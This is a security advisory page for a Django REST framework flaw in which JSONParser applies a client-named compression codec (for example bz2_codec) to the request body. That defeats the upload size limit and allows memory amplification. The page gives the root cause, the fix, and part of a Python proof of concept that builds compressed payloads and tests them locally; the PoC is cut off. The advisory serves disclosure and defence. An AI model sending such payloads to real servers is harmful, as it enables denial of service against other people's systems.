high · 7.5 Patched

Django REST framework: JSONParser applies an attacker-named codec to the request stream

CVE-2026-114136 · GHSA-3547-9m27-7rxg · published 22 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-114136?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • djangorestframework (PyPI) >= 3.6.4, < 3.18.2

How to check

  1. Run pip show djangorestframework in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade djangorestframework to 3.18.2 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body. ### Details `JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type header: ```python # rest_framework/parsers.py encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET) try: decoded_stream = codecs.getreader(encoding)(stream) parse_constant = json.strict_constant if self.strict else None return json.load(decoded_stream, parse_constant=parse_constant) except ValueError as exc: raise ParseError('JSON parse error - %s' % str(exc)) ``` Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`, `uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending `Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor before `json.load` reads it. The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an `io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression happens afterwards, inside the parser, where nothing is counting. This is DRF's defect and not Django's. Django resolves the charset parameter and assigns `request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of `request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')` and `str(raw, 'bz2_codec')` raise `LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`. DRF is the only caller that hands the request stream to `codecs.getreader`. `FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named encoding but fail closed instead of amplifying. The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because `read()` decodes the whole stream, which is the same property that makes this expansion unbounded. No `_is_text_encoding` check has been added since. A one-line fix at `parsers.py:61-64`: ```python if not codecs.lookup(encoding)._is_text_encoding: raise ParseError('Unsupported charset in Content-Type') ``` ### PoC Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict. ```python #!/usr/bin/env python """ django-rest-framework: JSONParser applies an attacker-named codec to the request stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE. Four arms, each in a fresh subprocess because peak RSS is a high-water mark and measuring several arms in one process reports ~0 growth for every arm after the first. T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec C1 48 MiB plaintext, Content-Type: application/json (no charset) C2 the byte-identical T body, charset=utf-8 C3 zlib body, charset=zlib_codec The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the codec name and not the payload is what produces the expansion. Requires: django, djangorestframework importable. No arguments, nothing to edit. python poc_charset_amplification.py Exit status 0 means every arm behaved as described in the advisory. """ import hashlib import json import os import subprocess import sys import tempfile PAYLOAD_CHARS = 48 * 1024 * 1024 PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp") LIMIT = 65536 ARMS = { "T": ("bz2.bin", "application/json; charset=bz2_codec"), "C1": ("plain.bin", "application/json"), "C2": ("bz2.bin", "application/json; charset=utf-8"), "C3": ("zlib.bin", "application/json; charset=zlib_codec"), } EXPECTED = { "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes", "C1": "rejected with RequestDataTooBig, view body never runs", "C2": "HTTP 400 ParseError on the byte-identical compressed body", "C3": "HTTP 200, same expansion under a different codec name", } VIEW_RAN = [] def build_payloads(): import bz2 import zlib os.makedirs(PAYLOAD_DIR, exist_ok=True) plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}' blobs = { "plain.bin": plain, "bz2.bin": bz2.compress(plain, 9), "zlib.bin": zlib.compress(plain, 9), } for name, blob in blobs.items(): with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh: fh.write(blob) return {name: len(blob) for name, blob in blobs.items()} def configure_django(): from django.conf import settings settings.configure( DEBUG=False, ALLOWED_HOSTS=["testserver"], SECRET_KEY="poc", ROOT_URLCONF=__name__, MIDDLEWARE=[], INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "rest_framework", ], DATABASES={ "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} }, DEFAULT_CHARSET="utf-…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON